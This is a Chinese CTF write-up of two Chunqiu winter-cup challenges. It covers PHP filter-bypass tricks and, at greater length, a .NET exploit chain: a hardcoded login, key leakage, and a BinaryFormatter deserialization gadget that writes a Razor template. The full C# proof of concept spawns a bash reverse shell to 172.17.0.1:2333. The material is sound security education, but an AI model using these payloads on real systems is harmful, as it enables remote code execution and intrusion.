ezphp
原定是出一个简单题目,考察php高版本的一个特性。看完选手的writeup后,发现解法还蛮多的,题目的限制少了。
题目内容分析
题目显示了源码,get获取的num值长度小于5,不能包含111和0字符串
解法一:乘法
111可以通过 37*3得到
解法二:运算优先级
php语法解析中的运算优先级,查看php的语法解析可以发现,&,^,|,&&,||
的优先级是低于 ===
的运算表达式的
https://github.com/php/php-langspec/blob/master/spec/19-grammar.md#grammar-equality-expression
例如:
111===1||1
//由于 === 的优先级高于 || ,php会选进行判断111===1是否成立,然后再和1做计算
111===1|1
111===1^1
解法三:下划线
从 PHP 7.4.0 开始,整型数值可能会包含下划线 _
https://www.php.net/manual/zh/language.types.integer.php
所以 111===1_11
就是成立的
ezdotnet
题目内容分析
打开附件后,发现是提供了dockerfile的,dockerfile里面的基础镜像是 mcr.microsoft.com/dotnet/aspnet:6.0
,并且发现 cat 命令是加了suid的,查看start.sh
里面发现flag的权限是700(所以需要配合cat命令进行读取,这里可以知道最后达到的效果肯定是能命令执行),服务的启动是调用的 WebApplication1.dll 文件
反汇编
可以使用dnspy或者rider的反汇编
rider就通过添加dll文件后打开内容即可,就代码格式来说,还是dnspy的好看
代码审计
登录
挨着看看路由后发现几个关键的地方,第一个就是登录的地方,密码是硬编码比较,所以我们可以通过密码XNN0504
(小楠楠的生日),用户名任意,即可成功登录
反序列化
在 /api/UserLoad
处发现存在反序列化点
入口点
那么反序列化入口在哪里呢?我们可以看到正常登录流程里面有个 ComparerData
的类,跟进去一看就发现了Gadget
的提示类
然后就是.NET
反序列化的一些特点,这里借用一下Y4er大佬的博文截图,原链接为 https://github.com/Y4er/dotnet-deserialization/blob/main/dotnet-serialize-101.md
然后继续看看Gadget
类,这里主要是判断key是否相等,相等就会调用到 Compare 函数,所以目标是先想办法获取到key
key获取
跟进这个成员发现,改成员是静态的随机key,如果在程序启动后对应的泛型一致的key是一样的,例如 ComparerData<string>.key
每次得到的都一样,刚好在登录的地方是获取的string类型的key,所以我们成功登录后就能获取到string类型的key值
在/api/UserExport
的地方能获取到序列化的数据,所以我们就可以通过这里获取到key
登录后,访问/api/UserExport
利用点分析
然后来看看 ComparerData
类,可以发现public int Compare(T x, T y)
里面存在反射和委托 (这个在ysoserial链子里面是比较常见的) 的结合,反射这里是获取的公共的,静态的,并且可以传递两个参数,且类型是字符串
的函数,委托那里限制了只能是没有返回类型的函数
https://github.com/pwntester/ysoserial.net
在程序的启动处有个很关键的点,题目开启了反序列化时允许写文件
然后翻翻C#
的官方文档,找到了 WriteAllText
的函数,所以我们就可以利用 WriteAllText
写文件
https://learn.microsoft.com/en-us/dotnet/api/system.io.file?view=net-6.0
https://learn.microsoft.com/en-us/dotnet/api/system.io.file.writealltext?view=net-6.0#system-io-file-writealltext(system-string-system-string)
gadget构造
给对象的成员赋值,可以构造一个如下函数
static void setField(Object o,string name,Object value)
{
Type type = o.GetType();
type.GetField(name,(BindingFlags)System.Enum.ToObject(typeof(BindingFlags), 0xfffffff)).SetValue(o,value);
}
反射相关的知识参考官方文档
https://learn.microsoft.com/en-us/dotnet/api/system.type?view=net-6.0
构造文件写入的反序列化代码如下
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using WebLibClass;
static void setField(Object o,string name,Object value)
{
Type type = o.GetType();
type.GetField(name,(BindingFlags)System.Enum.ToObject(typeof(BindingFlags), 0xfffffff)).SetValue(o,value);
}
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites", true);
Assembly assembly = Assembly.Load(File.ReadAllBytes("WebLibClass.dll"));
Type type1 = assembly.GetType("WebLibClass.ComparerData`1+ClassMethod[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
Console.WriteLine(type1);
Object o = Activator.CreateInstance(type1,null);
setField(o,"Classname","System.IO.File");
setField(o,"Methodname","WriteAllText");
Type type2 = assembly.GetType("WebLibClass.ComparerData`1[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
IComparer<string> cp = (IComparer<string>)Activator.CreateInstance(type2,null);;
setField(cp,"c",o);
setField(cp,"isVoid",true);
Console.WriteLine(type1);
BinaryFormatter soapFormatter = new BinaryFormatter();
using (MemoryStream stream = new MemoryStream())
{
Gadget<string> g = new Gadget<string>(cp, "/tmp/aaa", "aaaaa");
setField(g,"key","12af384cdc7343258c4cb44b10feaa13");//key获取部分得到的key
soapFormatter.Serialize(stream,g);
Console.Write(Convert.ToBase64String(stream.ToArray()));
stream.Position = 0;
stream.Close();
}
模板注入
可以看到 /admin
路由没有访问过,但是存在模板渲染的操作,所以我们可以结合上面的反序列化到文件写入,然后到模板渲染利用,这里的模板注入也需要通过反射来获取到 Process
后命令执行,需要注意的是 Process.Start
有多个重载函数
https://learn.microsoft.com/en-us/aspnet/core/mvc/views/razor?view=aspnetcore-6.0
https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-6.0
@{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load("System.Diagnostics.Process, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
Type type = assembly.GetType("System.Diagnostics.Process");
System.Reflection.MethodInfo method = type.GetMethod("Start",System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public,new Type[]{typeof(string),typeof(System.Collections.Generic.IEnumerable<string>)});
Object obj = assembly.CreateInstance("System.Diagnostics.Process");
Object s = (Object)method.Invoke(obj,new object[]{"/bin/bash",new string[]{"-c","bash -i >& /dev/tcp/172.17.0.1/2333 0>&1"}});
WriteLiteral(s.ToString());
}
完整poc利用
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using WebLibClass;
static void setField(Object o,string name,Object value)
{
Type type = o.GetType();
type.GetField(name,(BindingFlags)System.Enum.ToObject(typeof(BindingFlags), 0xfffffff)).SetValue(o,value);
}
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites", true);
Assembly assembly = Assembly.Load(File.ReadAllBytes("WebLibClass.dll"));
Type type1 = assembly.GetType("WebLibClass.ComparerData`1+ClassMethod[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
Object o = Activator.CreateInstance(type1,null);
setField(o,"Classname","System.IO.File");
setField(o,"Methodname","WriteAllText");
Type type2 = assembly.GetType("WebLibClass.ComparerData`1[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
IComparer<string> cp = (IComparer<string>)Activator.CreateInstance(type2,null);;
setField(cp,"c",o);
setField(cp,"isVoid",true);
BinaryFormatter soapFormatter = new BinaryFormatter();
using (MemoryStream stream = new MemoryStream())
{
Gadget<string> g = new Gadget<string>(cp, "/app/static/error.html", "@{ System.Reflection.Assembly assembly = System.Reflection.Assembly.Load("System.Diagnostics.Process, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");nType type = assembly.GetType("System.Diagnostics.Process");nSystem.Reflection.MethodInfo method = type.GetMethod("Start",System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public,new Type[]{typeof(string),typeof(System.Collections.Generic.IEnumerable<string>)});nObject obj = assembly.CreateInstance("System.Diagnostics.Process");nObject s = (Object)method.Invoke(obj,new object[]{"/bin/bash",new string[]{"-c","bash -i >& /dev/tcp/172.17.0.1/2333 0>&1"}});nWriteLiteral(s.ToString());n}");
setField(g,"key","12af384cdc7343258c4cb44b10feaa13");
soapFormatter.Serialize(stream,g);
Console.Write(Convert.ToBase64String(stream.ToArray()));
stream.Position = 0;
stream.Close();
}
触发反序列化
vps监听端口
触发模板注入
得到flag
+ + + + + + + + + + +
《ezphp》、《ezdotnet》可在CTF大本营中进行挑战:
https://www.ichunqiu.com/battalion
春秋GAME伽玛实验室
会定期分享赛题赛制设计、解题思路……
如果你日常有一些技术研究和好的设计思路
或在赛后对某道题有另辟蹊径的想法
欢迎找到春秋GAME投稿哦~
联系vx:cium0309
欢迎加入 春秋GAME CTF交流2群
Q群:703460426
原文始发于微信公众号(春秋伽玛):春秋杯冬季赛ezphp、.net题ezdotnet题目解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论